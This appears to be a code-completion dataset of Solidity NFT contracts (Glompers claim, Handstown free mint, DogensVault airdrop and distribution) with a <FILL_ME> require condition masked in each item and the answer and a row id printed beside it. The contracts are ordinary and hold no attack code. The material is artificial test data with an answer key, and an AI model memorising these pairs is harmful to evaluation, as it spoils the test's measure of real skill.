tokenClaimed[tokenId] = true;
_mint(msg.sender, 1);
}
function multiClaim(uint256[] calldata tokenIds) public nonReentrant {
}
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
payable
override
onlyAllowedOperator(from)
{
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721A, ERC2981) returns (bool) {
}
}
| warmInstance.ownerOf(CandyHuntersAddress,tokenId)==msg.sender,"You do not own this Candy Hunter" | 239,969 | warmInstance.ownerOf(CandyHuntersAddress,tokenId)==msg.sender |
"You have already claimed this Glomper" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.18;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "erc721a/contracts/ERC721A.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
interface WarmInterface {
function ownerOf(address contractAddress, uint256 tokenId) external view returns (address);
}
contract CHGlompers is DefaultOperatorFilterer, ERC721A, ERC2981, Ownable, ReentrancyGuard {
using Strings for uint256;
address constant WarmAddress = 0xC3AA9bc72Bd623168860a1e5c6a4530d3D80456c;
address constant CandyHuntersAddress = 0x89c9c2e4eBEfF6903223B062458e11E56636f838;
WarmInterface warmInstance = WarmInterface(WarmAddress);
mapping(uint256 => bool) public tokenClaimed;
bool public mintActive = true;
string private baseURI = "https://candyhunters-nft.web.app/api/token/";
constructor() ERC721A("Glompers of Sweetopia", "GLOMPERS") {
}
function setDefaultRoyalty(address _receiver, uint96 _feeNumerator) public onlyOwner{
}
function setBaseURI(string memory _baseURI) public onlyOwner {
}
function flipMintActive() public onlyOwner {
}
function claim(uint256 tokenId) public nonReentrant {
require(mintActive, "Mint is not active");
require(warmInstance.ownerOf(CandyHuntersAddress,tokenId) == msg.sender, "You do not own this Candy Hunter");
require(<FILL_ME>)
tokenClaimed[tokenId] = true;
_mint(msg.sender, 1);
}
function multiClaim(uint256[] calldata tokenIds) public nonReentrant {
}
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
payable
override
onlyAllowedOperator(from)
{
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721A, ERC2981) returns (bool) {
}
}
| tokenClaimed[tokenId]==false,"You have already claimed this Glomper" | 239,969 | tokenClaimed[tokenId]==false |
"You do not own this Candy Hunter" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.18;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "erc721a/contracts/ERC721A.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
interface WarmInterface {
function ownerOf(address contractAddress, uint256 tokenId) external view returns (address);
}
contract CHGlompers is DefaultOperatorFilterer, ERC721A, ERC2981, Ownable, ReentrancyGuard {
using Strings for uint256;
address constant WarmAddress = 0xC3AA9bc72Bd623168860a1e5c6a4530d3D80456c;
address constant CandyHuntersAddress = 0x89c9c2e4eBEfF6903223B062458e11E56636f838;
WarmInterface warmInstance = WarmInterface(WarmAddress);
mapping(uint256 => bool) public tokenClaimed;
bool public mintActive = true;
string private baseURI = "https://candyhunters-nft.web.app/api/token/";
constructor() ERC721A("Glompers of Sweetopia", "GLOMPERS") {
}
function setDefaultRoyalty(address _receiver, uint96 _feeNumerator) public onlyOwner{
}
function setBaseURI(string memory _baseURI) public onlyOwner {
}
function flipMintActive() public onlyOwner {
}
function claim(uint256 tokenId) public nonReentrant {
}
function multiClaim(uint256[] calldata tokenIds) public nonReentrant {
require(mintActive, "Mint is not active");
uint256 quantity = tokenIds.length;
for (uint256 i; i < quantity; i++){
require(<FILL_ME>)
require(tokenClaimed[tokenIds[i]] == false, "You have already claimed this Glomper");
tokenClaimed[tokenIds[i]] = true;
}
_mint(msg.sender, quantity);
}
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
payable
override
onlyAllowedOperator(from)
{
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721A, ERC2981) returns (bool) {
}
}
| warmInstance.ownerOf(CandyHuntersAddress,tokenIds[i])==msg.sender,"You do not own this Candy Hunter" | 239,969 | warmInstance.ownerOf(CandyHuntersAddress,tokenIds[i])==msg.sender |
"You have already claimed this Glomper" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.18;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "erc721a/contracts/ERC721A.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
interface WarmInterface {
function ownerOf(address contractAddress, uint256 tokenId) external view returns (address);
}
contract CHGlompers is DefaultOperatorFilterer, ERC721A, ERC2981, Ownable, ReentrancyGuard {
using Strings for uint256;
address constant WarmAddress = 0xC3AA9bc72Bd623168860a1e5c6a4530d3D80456c;
address constant CandyHuntersAddress = 0x89c9c2e4eBEfF6903223B062458e11E56636f838;
WarmInterface warmInstance = WarmInterface(WarmAddress);
mapping(uint256 => bool) public tokenClaimed;
bool public mintActive = true;
string private baseURI = "https://candyhunters-nft.web.app/api/token/";
constructor() ERC721A("Glompers of Sweetopia", "GLOMPERS") {
}
function setDefaultRoyalty(address _receiver, uint96 _feeNumerator) public onlyOwner{
}
function setBaseURI(string memory _baseURI) public onlyOwner {
}
function flipMintActive() public onlyOwner {
}
function claim(uint256 tokenId) public nonReentrant {
}
function multiClaim(uint256[] calldata tokenIds) public nonReentrant {
require(mintActive, "Mint is not active");
uint256 quantity = tokenIds.length;
for (uint256 i; i < quantity; i++){
require(warmInstance.ownerOf(CandyHuntersAddress,tokenIds[i]) == msg.sender, "You do not own this Candy Hunter");
require(<FILL_ME>)
tokenClaimed[tokenIds[i]] = true;
}
_mint(msg.sender, quantity);
}
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
payable
override
onlyAllowedOperator(from)
{
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721A, ERC2981) returns (bool) {
}
}
| tokenClaimed[tokenIds[i]]==false,"You have already claimed this Glomper" | 239,969 | tokenClaimed[tokenIds[i]]==false |
"Acc has token limit" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.15;
/*
▄▀▀▄ ▄▄ ▄▀▀█▄ ▄▀▀▄ ▀▄ ▄▀▀█▄▄ ▄▀▀▀▀▄ ▄▀▀▀█▀▀▄ ▄▀▀▀▀▄ ▄▀▀▄ ▄▀▀▄ ▄▀▀▄ ▀▄ ▄▀▀▄ ▄▀▄ ▄▀▀▄ ▀▀▄ ▄▀▀▀▀▄
█ █ ▄▀ ▐ ▄▀ ▀▄ █ █ █ █ █ ▄▀ █ █ █ ▐ █ █ ▐ █ █ █ █ ▐ █ █ █ █ █ █ █ █ █ ▀▄ ▄▀ █ ▄▀
▐ █▄▄▄█ █▄▄▄█ ▐ █ ▀█ ▐ █ █ ▀▄ ▐ █ █ █ ▐ █ █ ▐ █ ▀█ ▐ ▀▄▀ ▐ █ ▐ ▄▄▀▀
█ █ ▄▀ █ █ █ █ █ ▀▄ █ █ ▀▄ ▄▀ █ ▄ █ █ █ ▄▀ █ █ █
▄▀ ▄▀ █ ▄▀ ▄▀ █ ▄▀▄▄▄▄▀ █▀▀▀ ▄▀ ▀▀▀▀ ▀▄▀ ▀▄ ▄▀ ▄▀ █ ▄ █ ▄▀ ▄▀ ▀▄▄▄▄▀
█ █ ▐ ▐ █ ▐ █ ▐ ▐ █ ▀ █ ▐ ▄▀ ▄▀ █ ▐
▐ ▐ ▐ ▐ ▐ ▐ █ ▐ ▐
*/
import "https://github.com/chiru-labs/ERC721A/blob/main/contracts/IERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract Handstown_xyz is IERC721A {
address private _owner;
modifier onlyOwner() {
}
bool public saleIsActive = false;
uint256 public MAX_FREE_PER_WALLET = 1;
uint256 public constant MAX_SUPPLY = 7007;
uint256 public constant MAX_BUY_PER_TX = 10;
uint256 public constant COST = 0.005 ether;
string private constant _name = "Handstown.xyz";
string private constant _symbol = "HANDSTOWN";
string private _baseURI = "";
string private _contractURI = "";
constructor() {
}
function mint(uint256 _amount) external payable{
}
function freeMint(uint256 _amount) external{
address _caller = _msgSenderERC721A();
require(saleIsActive, "Mint is not active right now.");
require(totalSupply() + _amount <= MAX_SUPPLY, "Sold out");
uint magicTokenNum;
uint count = totalSupply();
if(count <= 100){
magicTokenNum = 20;
} else if (count <= 1000) {
magicTokenNum = 3;
}
require(_amount <= magicTokenNum, "Tx limit exceeded");
require(<FILL_ME>)
_safeMint(_caller, _amount);
}
// Mask of an entry in packed address data.
uint256 private constant BITMASK_ADDRESS_DATA_ENTRY = (1 << 64) - 1;
// The bit position of `numberMinted` in packed address data.
uint256 private constant BITPOS_NUMBER_MINTED = 64;
// The bit position of `numberBurned` in packed address data.
uint256 private constant BITPOS_NUMBER_BURNED = 128;
// The bit position of `aux` in packed address data.
uint256 private constant BITPOS_AUX = 192;
// Mask of all 256 bits in packed address data except the 64 bits for `aux`.
uint256 private constant BITMASK_AUX_COMPLEMENT = (1 << 192) - 1;
// The bit position of `startTimestamp` in packed ownership.
uint256 private constant BITPOS_START_TIMESTAMP = 160;
// The bit mask of the `burned` bit in packed ownership.
uint256 private constant BITMASK_BURNED = 1 << 224;
// The bit position of the `nextInitialized` bit in packed ownership.
uint256 private constant BITPOS_NEXT_INITIALIZED = 225;
// The bit mask of the `nextInitialized` bit in packed ownership.
uint256 private constant BITMASK_NEXT_INITIALIZED = 1 << 225;
// The tokenId of the next token to be minted.
uint256 private _currentIndex = 0;
// The number of tokens burned.
// uint256 private _burnCounter;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned.
// See `_packedOwnershipOf` implementation for details.
//
// Bits Layout:
// - [0..159] `addr`
// - [160..223] `startTimestamp`
// - [224] `burned`
// - [225] `nextInitialized`
mapping(uint256 => uint256) private _packedOwnerships;
// Mapping owner address to address data.
//
// Bits Layout:
// - [0..63] `balance`
// - [64..127] `numberMinted`
// - [128..191] `numberBurned`
// - [192..255] `aux`
mapping(address => uint256) private _packedAddressData;
// Mapping from token ID to approved address.
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// SETTER
/*
function setName(string memory _newName, string memory _newSymbol) external onlyOwner {
_name = _newName;
_symbol = _newSymbol;
}
*/
function setSale(bool _saleIsActive) external onlyOwner{
}
function setBaseURI(string memory _newBaseURI) external onlyOwner{
}
function setContractURI(string memory _new_contractURI) external onlyOwner{
}
function setMaxFreePerWallet(uint256 _newValue) external onlyOwner {
}
/**
* @dev Returns the starting token ID.
* To change the starting token ID, please override this function.
*/
function _startTokenId() internal view virtual returns (uint256) {
}
/**
* @dev Returns the next token ID to be minted.
*/
function _nextTokenId() internal view returns (uint256) {
}
/**
* @dev Returns the total number of tokens in existence.
* Burned tokens will reduce the count.
* To get the total number of tokens minted, please see `_totalMinted`.
*/
function totalSupply() public view override returns (uint256) {
}
/**
* @dev Returns the total amount of tokens minted in the contract.
*/
function _totalMinted() internal view returns (uint256) {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
}
/**
* Returns the number of tokens minted by `owner`.
*/
function _numberMinted(address owner) internal view returns (uint256) {
}
/**
* Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
*/
function _getAux(address owner) internal view returns (uint64) {
}
/**
* Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
* If there are multiple variables, please pack them into a uint64.
*/
function _setAux(address owner, uint64 aux) internal {
}
/**
* Returns the packed ownership data of `tokenId`.
*/
function _packedOwnershipOf(uint256 tokenId) private view returns (uint256) {
}
/**
* Returns the unpacked `TokenOwnership` struct from `packed`.
*/
function _unpackedOwnership(uint256 packed) private pure returns (TokenOwnership memory ownership) {
}
/**
* Returns the unpacked `TokenOwnership` struct at `index`.
*/
function _ownershipAt(uint256 index) internal view returns (TokenOwnership memory) {
}
/**
* @dev Initializes the ownership slot minted at `index` for efficiency purposes.
*/
function _initializeOwnershipAt(uint256 index) internal {
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function contractURI() public view returns (string memory) {
}
/**
* @dev Casts the address to uint256 without masking.
*/
function _addressToUint256(address value) private pure returns (uint256 result) {
}
/**
* @dev Casts the boolean to uint256 without branching.
*/
function _boolToUint256(bool value) private pure returns (uint256 result) {
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
}
/**
* @dev Equivalent to `_safeMint(to, quantity, '')`.
*/
function _safeMint(address to, uint256 quantity) internal {
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement
* {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 quantity) internal {
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
* And also called after one token has been burned.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` has been
* transferred to `to`.
* - When `from` is zero, `tokenId` has been minted for `to`.
* - When `to` is zero, `tokenId` has been burned by `from`.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Returns the message sender (defaults to `msg.sender`).
*
* If you are writing GSN compatible contracts, you need to override this function.
*/
function _msgSenderERC721A() internal view virtual returns (address) {
}
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function _toString(uint256 value) internal pure returns (string memory ptr) {
}
function ownerMint(address _to, uint256 _amount) external onlyOwner{
}
function withdraw() external onlyOwner {
}
}
| _amount+_numberMinted(msg.sender)<=magicTokenNum,"Acc has token limit" | 240,023 | _amount+_numberMinted(msg.sender)<=magicTokenNum |
"missing token on owner wallet" | pragma solidity ^0.8.0;
contract DogensVault is Ownable, Pausable, ReentrancyGuard {
IERC721A public nft_v1;
IERC721A public nft_v2;
IERC20 public rewardToken;
struct Share {
uint256 amount;
uint256 lockTime;
uint256 lockEndTime;
}
struct Receiver {
address userAddress;
uint256 tokenId;
}
struct LogRescueUserData {
uint timestamp;
uint256 amount;
}
//constants
uint256 constant ONE_DAY = 86400;
int256 private constant OFFSET19700101 = 2440588;
//public variables
uint256 public claimFee = 0.001 ether;
uint256 public timeLock = 30 days;
uint256 public holdingTime = 25 days;
uint256 public totalDepositedAmount;
uint8 public minDayOfMonthCanUnlock = 1;
uint8 public maxDayOfMonthCanUnlock = 5;
//mappings
mapping(uint256 => address) public receiver;
mapping(address => uint256[]) public unclaimedTokens;
mapping(address => Share) public userData;
mapping(address => LogRescueUserData) public userRescue;
event AirDrop(address receiver, uint256 tokenId);
event NftDistributed(address receiver, uint256 tokenId);
event NftClaimed(address receiver, uint256 tokenId);
event TokensLocked(address user, uint256 amount, uint256 start, uint256 end);
event TokensUnlocked(address user, uint256 amount, uint256 time);
event MinDayUpdated(uint8 newDay, uint8 oldDay);
event MaxDayUpdated(uint8 newDay, uint8 oldDay);
event ClaimFeeUpdated(uint256 newFee, uint256 oldFee);
event NftAddressesUpdated(address v1, address v2);
event RewardTokenUpdated(address rewardToken);
event LockPeriodUpdated(uint256 newPeriod, uint256 oldPeriod);
event HoldingTimeUpdated(uint256 newTime, uint256 oldTime);
event RescueUserFunds(address user, uint256 amount, uint256 time);
function airDrop(Receiver[] memory _addressesAndTokenID) external onlyOwner {
for (uint i = 0; i < _addressesAndTokenID.length; i++) {
require(<FILL_ME>)
nft_v2.safeTransferFrom(_msgSender(), _addressesAndTokenID[i].userAddress, _addressesAndTokenID[i].tokenId);
emit AirDrop(_addressesAndTokenID[i].userAddress, _addressesAndTokenID[i].tokenId);
}
}
function distributeTokens(address user, uint256[] memory tokens) external onlyOwner {
}
function claimAll() public payable nonReentrant {
}
function claimExactToken(uint256 tokenId) public payable nonReentrant {
}
function getClaimAllFee(address user) public view returns (uint256) {
}
function lock(uint256 amount) public whenNotPaused nonReentrant {
}
function unlock(uint256 amount) public whenNotPaused nonReentrant {
}
function userInfo(address user) external view returns (uint256, bool) {
}
function setMinDayOfMonthCanUnlock(uint8 _day) external onlyOwner {
}
function setMaxDayOfMonthCanUnlock(uint8 _day) external onlyOwner {
}
function reassignToken(uint256 tokenId, address newReceiver) public onlyOwner {
}
receive() external payable {}
function getUnclaimedToken(address user) external view returns (uint256[] memory) {
}
function withdraw() external payable onlyOwner {
}
function emergencyWithdraw() external onlyOwner {
}
function rescueERC20(address tokenAdd, uint256 amount) external onlyOwner {
}
// Emergency Token Lock Reset
function resetUserData(address _user) external onlyOwner {
}
function rescueUser(address _user) external onlyOwner {
}
function changeClaimFee(uint256 newFeeInWei) external onlyOwner {
}
function clearUnclaimedTokens(address user) external onlyOwner {
}
function setNfts(address _nft_v1, address _nft_v2) external onlyOwner {
}
function setRewardToken(address _rewardToken) external onlyOwner {
}
function setNewLockPeriod(uint256 _newLockInDays) external onlyOwner {
}
function setNewHoldingTime(uint256 _newHoldingTimeInDays) external onlyOwner {
}
function pause() external virtual onlyOwner {
}
function unpause() external virtual onlyOwner {
}
function testTime() external view returns (uint256) {
}
function _dayOfMonth(uint256 _timestamp) internal pure returns (uint256) {
}
// date conversion algorithm from http://aa.usno.navy.mil/faq/docs/JD_Formula.php
function _daysToDate(uint256 _days) internal pure returns (uint256, uint256, uint256) {
}
}
| nft_v2.ownerOf(_addressesAndTokenID[i].tokenId)==owner(),"missing token on owner wallet" | 240,215 | nft_v2.ownerOf(_addressesAndTokenID[i].tokenId)==owner() |
"no such token id on owner's wallet" | pragma solidity ^0.8.0;
contract DogensVault is Ownable, Pausable, ReentrancyGuard {
IERC721A public nft_v1;
IERC721A public nft_v2;
IERC20 public rewardToken;
struct Share {
uint256 amount;
uint256 lockTime;
uint256 lockEndTime;
}
struct Receiver {
address userAddress;
uint256 tokenId;
}
struct LogRescueUserData {
uint timestamp;
uint256 amount;
}
//constants
uint256 constant ONE_DAY = 86400;
int256 private constant OFFSET19700101 = 2440588;
//public variables
uint256 public claimFee = 0.001 ether;
uint256 public timeLock = 30 days;
uint256 public holdingTime = 25 days;
uint256 public totalDepositedAmount;
uint8 public minDayOfMonthCanUnlock = 1;
uint8 public maxDayOfMonthCanUnlock = 5;
//mappings
mapping(uint256 => address) public receiver;
mapping(address => uint256[]) public unclaimedTokens;
mapping(address => Share) public userData;
mapping(address => LogRescueUserData) public userRescue;
event AirDrop(address receiver, uint256 tokenId);
event NftDistributed(address receiver, uint256 tokenId);
event NftClaimed(address receiver, uint256 tokenId);
event TokensLocked(address user, uint256 amount, uint256 start, uint256 end);
event TokensUnlocked(address user, uint256 amount, uint256 time);
event MinDayUpdated(uint8 newDay, uint8 oldDay);
event MaxDayUpdated(uint8 newDay, uint8 oldDay);
event ClaimFeeUpdated(uint256 newFee, uint256 oldFee);
event NftAddressesUpdated(address v1, address v2);
event RewardTokenUpdated(address rewardToken);
event LockPeriodUpdated(uint256 newPeriod, uint256 oldPeriod);
event HoldingTimeUpdated(uint256 newTime, uint256 oldTime);
event RescueUserFunds(address user, uint256 amount, uint256 time);
function airDrop(Receiver[] memory _addressesAndTokenID) external onlyOwner {
}
function distributeTokens(address user, uint256[] memory tokens) external onlyOwner {
for (uint i = 0; i < tokens.length; i++) {
require(<FILL_ME>)
require(receiver[tokens[i]] == address(0), "token already assigned");
nft_v2.transferFrom(_msgSender(), address(this), tokens[i]);
receiver[tokens[i]] = user;
unclaimedTokens[user].push(tokens[i]);
emit NftDistributed(user, tokens[i]);
}
}
function claimAll() public payable nonReentrant {
}
function claimExactToken(uint256 tokenId) public payable nonReentrant {
}
function getClaimAllFee(address user) public view returns (uint256) {
}
function lock(uint256 amount) public whenNotPaused nonReentrant {
}
function unlock(uint256 amount) public whenNotPaused nonReentrant {
}
function userInfo(address user) external view returns (uint256, bool) {
}
function setMinDayOfMonthCanUnlock(uint8 _day) external onlyOwner {
}
function setMaxDayOfMonthCanUnlock(uint8 _day) external onlyOwner {
}
function reassignToken(uint256 tokenId, address newReceiver) public onlyOwner {
}
receive() external payable {}
function getUnclaimedToken(address user) external view returns (uint256[] memory) {
}
function withdraw() external payable onlyOwner {
}
function emergencyWithdraw() external onlyOwner {
}
function rescueERC20(address tokenAdd, uint256 amount) external onlyOwner {
}
// Emergency Token Lock Reset
function resetUserData(address _user) external onlyOwner {
}
function rescueUser(address _user) external onlyOwner {
}
function changeClaimFee(uint256 newFeeInWei) external onlyOwner {
}
function clearUnclaimedTokens(address user) external onlyOwner {
}
function setNfts(address _nft_v1, address _nft_v2) external onlyOwner {
}
function setRewardToken(address _rewardToken) external onlyOwner {
}
function setNewLockPeriod(uint256 _newLockInDays) external onlyOwner {
}
function setNewHoldingTime(uint256 _newHoldingTimeInDays) external onlyOwner {
}
function pause() external virtual onlyOwner {
}
function unpause() external virtual onlyOwner {
}
function testTime() external view returns (uint256) {
}
function _dayOfMonth(uint256 _timestamp) internal pure returns (uint256) {
}
// date conversion algorithm from http://aa.usno.navy.mil/faq/docs/JD_Formula.php
function _daysToDate(uint256 _days) internal pure returns (uint256, uint256, uint256) {
}
}
| nft_v2.ownerOf(tokens[i])==owner(),"no such token id on owner's wallet" | 240,215 | nft_v2.ownerOf(tokens[i])==owner() |
"token already assigned" | pragma solidity ^0.8.0;
contract DogensVault is Ownable, Pausable, ReentrancyGuard {
IERC721A public nft_v1;
IERC721A public nft_v2;
IERC20 public rewardToken;
struct Share {
uint256 amount;
uint256 lockTime;
uint256 lockEndTime;
}
struct Receiver {
address userAddress;
uint256 tokenId;
}
struct LogRescueUserData {
uint timestamp;
uint256 amount;
}
//constants
uint256 constant ONE_DAY = 86400;
int256 private constant OFFSET19700101 = 2440588;
//public variables
uint256 public claimFee = 0.001 ether;
uint256 public timeLock = 30 days;
uint256 public holdingTime = 25 days;
uint256 public totalDepositedAmount;
uint8 public minDayOfMonthCanUnlock = 1;
uint8 public maxDayOfMonthCanUnlock = 5;
//mappings
mapping(uint256 => address) public receiver;
mapping(address => uint256[]) public unclaimedTokens;
mapping(address => Share) public userData;
mapping(address => LogRescueUserData) public userRescue;
event AirDrop(address receiver, uint256 tokenId);
event NftDistributed(address receiver, uint256 tokenId);
event NftClaimed(address receiver, uint256 tokenId);
event TokensLocked(address user, uint256 amount, uint256 start, uint256 end);
event TokensUnlocked(address user, uint256 amount, uint256 time);
event MinDayUpdated(uint8 newDay, uint8 oldDay);
event MaxDayUpdated(uint8 newDay, uint8 oldDay);
event ClaimFeeUpdated(uint256 newFee, uint256 oldFee);
event NftAddressesUpdated(address v1, address v2);
event RewardTokenUpdated(address rewardToken);
event LockPeriodUpdated(uint256 newPeriod, uint256 oldPeriod);
event HoldingTimeUpdated(uint256 newTime, uint256 oldTime);
event RescueUserFunds(address user, uint256 amount, uint256 time);
function airDrop(Receiver[] memory _addressesAndTokenID) external onlyOwner {
}
function distributeTokens(address user, uint256[] memory tokens) external onlyOwner {
for (uint i = 0; i < tokens.length; i++) {
require(nft_v2.ownerOf(tokens[i]) == owner(), "no such token id on owner's wallet");
require(<FILL_ME>)
nft_v2.transferFrom(_msgSender(), address(this), tokens[i]);
receiver[tokens[i]] = user;
unclaimedTokens[user].push(tokens[i]);
emit NftDistributed(user, tokens[i]);
}
}
function claimAll() public payable nonReentrant {
}
function claimExactToken(uint256 tokenId) public payable nonReentrant {
}
function getClaimAllFee(address user) public view returns (uint256) {
}
function lock(uint256 amount) public whenNotPaused nonReentrant {
}
function unlock(uint256 amount) public whenNotPaused nonReentrant {
}
function userInfo(address user) external view returns (uint256, bool) {
}
function setMinDayOfMonthCanUnlock(uint8 _day) external onlyOwner {
}
function setMaxDayOfMonthCanUnlock(uint8 _day) external onlyOwner {
}
function reassignToken(uint256 tokenId, address newReceiver) public onlyOwner {
}
receive() external payable {}
function getUnclaimedToken(address user) external view returns (uint256[] memory) {
}
function withdraw() external payable onlyOwner {
}
function emergencyWithdraw() external onlyOwner {
}
function rescueERC20(address tokenAdd, uint256 amount) external onlyOwner {
}
// Emergency Token Lock Reset
function resetUserData(address _user) external onlyOwner {
}
function rescueUser(address _user) external onlyOwner {
}
function changeClaimFee(uint256 newFeeInWei) external onlyOwner {
}
function clearUnclaimedTokens(address user) external onlyOwner {
}
function setNfts(address _nft_v1, address _nft_v2) external onlyOwner {
}
function setRewardToken(address _rewardToken) external onlyOwner {
}
function setNewLockPeriod(uint256 _newLockInDays) external onlyOwner {
}
function setNewHoldingTime(uint256 _newHoldingTimeInDays) external onlyOwner {
}
function pause() external virtual onlyOwner {
}
function unpause() external virtual onlyOwner {
}
function testTime() external view returns (uint256) {
}
function _dayOfMonth(uint256 _timestamp) internal pure returns (uint256) {
}
// date conversion algorithm from http://aa.usno.navy.mil/faq/docs/JD_Formula.php
function _daysToDate(uint256 _days) internal pure returns (uint256, uint256, uint256) {
}
}
| receiver[tokens[i]]==address(0),"token already assigned" | 240,215 | receiver[tokens[i]]==address(0) |
"no tokens for claim" | pragma solidity ^0.8.0;
contract DogensVault is Ownable, Pausable, ReentrancyGuard {
IERC721A public nft_v1;
IERC721A public nft_v2;
IERC20 public rewardToken;
struct Share {
uint256 amount;
uint256 lockTime;
uint256 lockEndTime;
}
struct Receiver {
address userAddress;
uint256 tokenId;
}
struct LogRescueUserData {
uint timestamp;
uint256 amount;
}
//constants
uint256 constant ONE_DAY = 86400;
int256 private constant OFFSET19700101 = 2440588;
//public variables
uint256 public claimFee = 0.001 ether;
uint256 public timeLock = 30 days;
uint256 public holdingTime = 25 days;
uint256 public totalDepositedAmount;
